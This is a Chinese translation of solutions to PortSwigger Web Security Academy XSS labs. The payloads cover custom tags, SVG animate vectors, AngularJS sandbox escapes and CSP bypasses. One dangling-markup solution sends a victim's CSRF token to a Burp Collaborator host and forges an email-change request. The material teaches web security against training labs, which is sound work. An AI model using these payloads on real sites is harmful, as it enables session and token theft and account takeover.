目录导航
将XSS反射到HTML上下文中,除自定义标签外,所有标签均被阻止
靶场地址:
lab-html-context-with-all-standard-tags-blocked
靶场说明:
此实验室阻止除自定义标签之外的所有 HTML 标签。
要解决实验室问题,请执行注入自定义标签并自动发出警报的跨站点脚本document.cookie
攻击。
解决方案:
转到漏洞利用服务器并粘贴以下代码,替换your-lab-id
为您的实验室 ID:
<script>
location = 'https://your-lab-id.web-security-academy.net/?search=<xss id=x onfocus=alert(document.cookie) tabindex=1>#x';
</script>
单击“存储”和“向受害者提供漏洞利用”。
此注入会创建一个带有 ID 的自定义标签x
,其中包含一个onfocus
触发该alert
函数的事件处理程序。URL 末尾的哈希会在页面加载后立即关注此元素,从而alert
调用有效负载。
允许带有一些 SVG 标记的反射型 XSS
靶场地址:
contexts/lab-some-svg-markup-allowed
靶场说明:
这个实验室有一个简单的反射型 XSS漏洞。该站点阻止了常用标签,但忽略了一些 SVG 标签和事件。
要解决实验室问题,请执行调用函数 alert()
的跨站点脚本攻击。
解决方案
①注入一个标准的 XSS 有效载荷,例如:
<img src=1 onerror=alert(1)>
②观察此有效负载被阻止。在接下来的几个步骤中,我们将使用 Burp Intruder 来测试哪些标签和属性被阻止了。
打开 Burp 的浏览器并使用实验室中的搜索功能。将生成的请求发送到 Burp Intruder。
在 Burp Intruder 的 Positions 选项卡中,单击“Clear §”。
在请求模板中,将搜索词的值替换为:<>
将光标放在尖括号之间,然后单击“添加 §”两次以创建有效载荷位置。搜索词的值现在应该是:<§§>
③访问XSS 备忘单并单击“复制标签到剪贴板”。
在 Burp Intruder 的 Payloads 选项卡中,单击“Paste”将标签列表粘贴到有效负载列表中。点击“开始攻击”。
③攻击完成后,查看结果。观察所有有效负载都导致了 HTTP 400 响应,除了使用<svg>
、<animatetransform>
、<title>
和<image>
标记的负载,它们收到 200 响应。
④返回 Burp Intruder 中的 Positions 选项卡,并将您的搜索词替换为:
<svg><animatetransform%20=1>
将光标放在=
字符之前,然后单击“添加§”两次以创建有效载荷位置。搜索词的值现在应该是:
<svg><animatetransform%20§§=1>
⑤访问XSS 备忘单并单击“将事件复制到剪贴板”。
⑥在 Burp Intruder 中,在 Payloads 选项卡中,单击“Clear”以删除以前的有效负载。然后单击“粘贴”将属性列表粘贴到有效负载列表中。点击“开始攻击”。
⑦攻击完成后,查看结果。请注意,所有有效负载都会导致 HTTP 400 响应,但onbegin
有效负载除外,它会导致 200 响应。在浏览器中访问以下网址,确认调用了alert()函数并解决了lab:
https://your-lab-id.web-security-academy.net/?search="><svg><animatetransform onbegin=alert(1)>
规范链接标签中的反射型XSS
靶场地址:
cross-site-scripting/contexts/lab-canonical-link-tag
靶场说明:
此实验室在规范链接标签中反映用户输入并转义尖括号。
为了解决实验室问题,请在主页上 执行跨站点脚本alert
攻击,该攻击会注入调用该函数的属性。
为了协助您的利用,您可以假设模拟用户将按下以下组合键:
ALT+SHIFT+X
CTRL+ALT+X
Alt+X
请注意,本实验室的预期解决方案只能在 Chrome 中实现。
解决方案:
①访问以下 URL,替换your-lab-id
为您的实验室 ID:
https://your-lab-id.web-security-academy.net/?'accesskey='x'onclick='alert(1)
这会将X
密钥设置为整个页面的访问密钥。当用户按下访问键时,该alert
函数被调用。
- 要触发对自己的利用,请按以下组合键之一:
- 在 Windows 上:
ALT+SHIFT+X
- 在 MacOS 上:
CTRL+ALT+X
- 在 Linux 上:
Alt+X
- 在 Windows 上:
将XSS反射到带有单引号和反斜杠的JavaScript字符串中
靶场地址:
contexts/lab-javascript-string-single-quote-backslash-escaped
靶场说明:
该实验室在搜索查询跟踪功能中包含一个反射型跨站点脚本漏洞。反射发生在带有单引号和反斜杠的 JavaScript 字符串中。
要解决此实验,请执行跨站点脚本攻击,该攻击会破坏 JavaScript 字符串并调用该alert
函数。
解决方案:
①在搜索框中提交一个随机的字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
②观察随机字符串已反映在 JavaScript 字符串中。
③尝试发送有效负载test'payload
并观察您的单引号被反斜杠转义,从而防止您脱离字符串。
④将您的输入替换为以下有效负载以跳出脚本块并注入新脚本:
</script><script>alert(1)</script>
通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您加载页面时,它应该触发警报。
将XSS反射到带有尖括号和双引号的JavaScript字符串HTML编码和单引号转义中
靶场地址:
lab-javascript-string-angle-brackets-double-quotes-encoded-single-quotes-escaped
靶场说明:
该实验室在搜索查询跟踪功能中包含一个反射型跨站点脚本漏洞,其中尖括号和双引号是 HTML 编码的,而单引号是转义的。
要解决此实验,请执行跨站点脚本攻击,该攻击会破坏 JavaScript 字符串并调用该alert
函数。
解决方案:
在搜索框中提交一个随机的字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
观察随机字符串已反映在 JavaScript 字符串中。
尝试发送有效负载test'payload
并观察您的单引号被反斜杠转义,从而防止您脱离字符串。
尝试发送有效负载test\payload
并观察您的反斜杠没有被转义。
将您的输入替换为以下有效负载,以突破 JavaScript 字符串并注入警报:\'-alert(1)//
通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您加载页面时,它应该触发警报。
使用尖括号和双引号将 XSS 存储到onclick
事件中 HTML 编码和单引号和反斜杠转义
靶场地址:
lab-onclick-event-angle-brackets-double-quotes-html-encoded-single-quotes-backslash-escaped
靶场说明:
该实验室在评论功能中包含一个存储型跨站点脚本漏洞。
要解决这个实验,请提交一个评论,当点击评论作者姓名时调用该alert
函数。
解决方案:
在“网站”输入中使用随机字母数字字符串发表评论,然后使用 Burp Suite 拦截请求并将其发送到 Burp Repeater。
在浏览器中发出第二个请求以查看帖子并使用 Burp Suite 拦截请求并将其发送到 Burp Repeater。
观察第二个中继器选项卡中的随机字符串已反映在onclick
事件处理程序属性中。
再次重复该过程,但这次修改您的输入以注入一个调用 的 JavaScript URL alert
,使用以下有效负载:
http://foo?'-alert(1)-'
通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。单击评论上方的名称应触发警报。
将 XSS 反射到带有尖括号、单引号、双引号、反斜杠和反引号的模板文字中 Unicode 转义
靶场地址:
靶场说明:
此实验室在搜索博客功能中包含一个反射型跨站点脚本漏洞。反射发生在带有尖括号、单引号和双引号 HTML 编码的模板字符串内,并且反引号已转义。要解决此实验,请执行跨站点脚本攻击,调用alert
模板字符串中的函数。
解决方案:
在搜索框中提交一个随机的字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
观察随机字符串已反映在 JavaScript 模板字符串中。
将您的输入替换为以下有效负载以在模板字符串中执行 JavaScript:
${alert(1)}
通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您加载页面时,它应该触发警报。
带有事件处理程序和href
属性的反射型 XSS 被阻止
靶场地址:
lab-event-handlers-and-href-attributes-blocked
靶场说明:
本实验室包含一个反射型 XSS漏洞,带有一些列入白名单的标签,但所有事件和锚href
属性都被阻止。
要解决实验室问题,请执行跨站点脚本攻击,该攻击会注入一个向量,单击该向量会调用该alert
函数。
请注意,您需要使用“点击”一词来标记您的向量,以诱导模拟实验室用户点击您的向量。例如:
<a href="">Click me</a>
解决方案:
访问以下 URL,替换your-lab-id
为您的实验室 ID:
https://your-lab-id.web-security-academy.net/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E
JavaScript URL 中反射型XSS,其中一些字符被阻止
靶场地址:
lab-javascript-url-some-characters-blocked
靶场说明:
本实验反映了您在 JavaScript URL 中的输入,但一切都不像看起来那样。这最初似乎是一个微不足道的挑战。但是,该应用程序正在阻止某些字符以试图防止XSS攻击。
要解决实验室问题,请执行跨站点脚本攻击,使用消息 中某处包含alert
的字符串调用函数1337alert
解决方案:
访问以下 URL,替换your-lab-id
为您的实验室 ID:
https://your-lab-id.web-security-academy.net/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27
实验室将得到解决,但只有在您单击页面底部的“返回博客”时才会调用警报。
该漏洞利用异常处理来调用alert
带有参数的函数。使用该throw
语句,用空白注释分隔,以绕过无空格限制。该alert
函数被分配给onerror
异常处理程序。
作为throw
语句,它不能用作表达式。相反,我们需要使用箭头函数来创建一个块,以便throw
可以使用该语句。然后我们需要调用这个函数,因此我们将它分配给 的toString
属性window
并通过强制对 进行字符串转换来触发它window
。
反射 XSS 与 AngularJS 沙箱逃逸无字符串
靶场地址:
angularjs-sandbox/lab-angular-sandbox-escape-without-strings
靶场说明:
本实验室以一种不寻常的方式使用AngularJS$eval
,其中该功能不可用,您将无法在 AngularJS 中使用任何字符串。
要解决实验室问题,请执行跨站脚本攻击,逃离沙箱并在alert
不使用函数的情况下执行$eval
函数。
解决方案:
访问以下 URL,替换your-lab-id
为您的实验室 ID:
https://your-lab-id.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
该漏洞利用toString()
不使用引号创建字符串。然后它获取String
原型并覆盖charAt
每个字符串的函数。这有效地破坏了 AngularJS 沙箱。接下来,将一个数组传递给orderBy
过滤器。然后,我们再次使用toString()
创建字符串和String
构造函数属性来设置过滤器的参数。最后,我们使用该fromCharCode
方法通过将字符代码转换为字符串来生成我们的有效负载x=alert(1)
。因为该charAt
函数已被覆盖,AngularJS 将允许此代码在通常情况下不允许。
反射型 XSS 与 AngularJS 沙箱和CSP逃逸
靶场地址:
contexts/angularjs-sandbox/lab-angular-sandbox-escape-and-csp
靶场说明:
要解决实验室问题,请执行绕过 CSP、逃避 AngularJS 沙箱和警报的跨站点脚本document.cookie
攻击。
解决方案:
①转到漏洞利用服务器并粘贴以下代码,替换your-lab-id
为您的实验室 ID:
<script>
location='https://your-lab-id.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
②单击“存储”和“向受害者提供漏洞利用”。
该漏洞利用ng-focus
AngularJS 中的事件来创建绕过 CSP 的焦点事件。它还使用$event
,这是一个引用事件对象的 AngularJS 变量。该path
属性特定于 Chrome,并包含触发事件的元素数组。数组中的最后一个元素包含该window
对象。
通常,|
在 JavaScript 中是按位或运算,但在 AngularJS 中,它表示过滤器操作,在本例中为orderBy
过滤器。冒号表示正在发送到过滤器的参数。在参数中alert
,我们没有直接调用函数,而是将其分配给变量z
。orderBy
只有当操作到达数组window
中的对象时,才会调用该函数$event.path
。这意味着它可以在窗口范围内调用,而无需显式引用window
对象,有效地绕过了 AngularJS 的window
检查。
反射型 XSS 受到非常严格的 CSP 保护,带有悬空标记攻击
靶场地址:
content-security-policy/lab-very-strict-csp-with-dangling-markup-attack
靶场说明:
此实验室使用严格的CSP来阻止对外部网站的传出请求。
要解决实验室问题,首先执行跨站点脚本攻击,绕过 CSP 并使用 Burp Collaborator泄露模拟受害者用户的CSRF 令牌。然后,您需要将模拟用户的电子邮件地址更改为[email protected]
.
你必须用“点击”这个词来标记你的向量,以诱导模拟用户点击它。例如:
<a href="">Click me</a>
您可以使用以下凭据登录到您自己的帐户:wiener:peter
注意事项:
为了防止 Academy 平台被用于攻击第三方,我们的防火墙阻止了实验室与任意外部系统之间的交互。要解决实验室问题,您必须使用提供的漏洞利用服务器和/或 Burp Collaborator 的默认公共服务器。
解决方案:
使用上面提供的帐户登录实验室。
检查更改电子邮件功能。观察参数email
中存在XSS漏洞。
转到 Burp 菜单并启动Burp Collaborator 客户端。
单击“复制到剪贴板”以将唯一的 Burp Collaborator 有效负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。
回到实验室,转到漏洞利用服务器并添加以下代码,分别将your-lab-id
和替换your-exploit-server-id
为您的实验室 ID 和漏洞利用服务器 ID,并替换your-collaborator-id
为您刚刚从 Burp Collaborator 复制的有效负载。
<script>
if(window.name) {
new Image().src='//BURP-COLLABORATOR-SUBDOMAIN?'+encodeURIComponent(window.name);
} else {
location = 'https://YOUR-LAB-ID.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';
}
</script>
单击“存储”,然后单击“向受害者提供漏洞利用”。当用户访问包含此恶意脚本的网站时,如果他们在仍然登录到实验室网站的情况下点击“点击我”链接,他们的浏览器将向您的恶意网站发送包含其CSRF 令牌的请求。然后,您可以使用 Burp Collaborator 客户端窃取此 CSRF 令牌。
返回 Burp Collaborator 客户端窗口,然后单击“立即投票”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到由应用程序启动的 HTTP 交互。选择 HTTP 交互,转到请求选项卡,然后复制用户的 CSRF 令牌。
打开 Burp 的拦截功能后,返回实验室的更改电子邮件功能并提交将电子邮件更改为任意随机地址的请求。
在 Burp 中,转到拦截的请求并将 email 参数的值更改为[email protected]
。
右键单击请求,然后从上下文菜单中选择“参与工具”,然后选择“生成 CSRF PoC”。弹出窗口显示了请求和它生成的 CSRF HTML。在请求中,将 CSRF 令牌替换为您之前从受害者那里窃取的令牌。
单击“选项”并确保“包含自动提交脚本”已激活。
单击“重新生成”以更新 CSRF HTML,使其包含被盗令牌,然后单击“复制 HTML”将其保存到剪贴板。
放弃请求并关闭拦截功能。
返回漏洞利用服务器并将 CSRF HTML 粘贴到正文中。您可以覆盖我们之前输入的脚本。
单击“存储”和“向受害者提供漏洞利用”。用户的电子邮件将更改为[email protected]
。
受 CSP 保护的反射型 XSS,带有 CSP绕过
靶场地址:
content-security-policy/lab-csp-bypass
靶场说明:
要解决实验室问题,请执行绕过 CSP 并调用函数alert的跨站点脚本攻击。
请注意,本实验室的预期解决方案只能在 Chrome 中实现。
解决方案:
①在搜索框中输入以下内容:
<img src=1 onerror=alert(1)>
观察到有效负载被反映,但 CSP 阻止脚本执行。
在 Burp Proxy 中,观察到响应包含一个Content-Security-Policy
标头,并且report-uri
指令包含一个名为token
. 因为您可以控制token
参数,所以您可以将自己的 CSP 指令注入到策略中。
访问以下 URL,替换your-lab-id
为您的实验室 ID:
https://your-lab-id.web-security-academy.net/?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27
注入使用script-src-elem
CSP 中的指令。该指令允许您仅定位script
元素。使用此指令,您可以覆盖现有script-src
规则,使您能够注入unsafe-inline
,从而允许您使用内联脚本。
将 XSS 反射到带有尖括号 HTML 编码的属性中
靶场地址:
lab-attribute-angle-brackets-html-encoded
靶场说明:
该实验室在搜索博客功能中包含一个反射的跨站点脚本漏洞,其中尖括号是 HTML 编码的。alert
要解决此实验,请执行注入属性并调用函数 的跨站点脚本攻击。
解决方案:
在搜索框中提交一个随机的字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
观察随机字符串已反映在带引号的属性中。
将您的输入替换为以下有效负载以转义引用的属性并注入事件处理程序:"onmouseover="alert(1)
通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您将鼠标移到注入的元素上时,它应该会触发警报。
将XSS 存储到href
带有双引号 HTML 编码的锚属性中
靶场地址:
lab-href-attribute-double-quotes-html-encoded
靶场说明:
该实验室在评论功能中包含一个存储的跨站点脚本漏洞。要解决这个实验,请提交一个评论,当点击评论作者姓名时调用该alert
函数。
解决方案:
在“网站”输入中使用随机字母数字字符串发表评论,然后使用 Burp Suite 拦截请求并将其发送到 Burp Repeater。
在浏览器中发出第二个请求以查看帖子并使用 Burp Suite 拦截请求并将其发送到 Burp Repeater。
观察第二个中继器选项卡中的随机字符串已反映在锚href
属性中。
再次重复该过程,但这次将您的输入替换为以下有效负载,以注入调用警报的 JavaScript URL:javascript:alert(1)
通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。单击评论上方的名称应触发警报。
将 XSS 反射到带有尖括号 HTML 编码的 JavaScript 字符串中
靶场地址:
lab-javascript-string-angle-brackets-html-encoded
靶场说明:
本实验室在尖括号编码的搜索查询跟踪功能中包含一个反射的跨站点脚本漏洞。反射发生在 JavaScript 字符串中。要解决此实验,请执行跨站点脚本攻击,该攻击会破坏 JavaScript 字符串并调用该alert
函数。
解决方案:
在搜索框中提交一个随机的字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
观察随机字符串已反映在 JavaScript 字符串中。
将您的输入替换为以下有效负载,以突破 JavaScript 字符串并注入警报:'-alert(1)-'
通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您加载页面时,它应该触发警报。
至于payload为什么是那样的,自己思考研究.
转载请注明出处及链接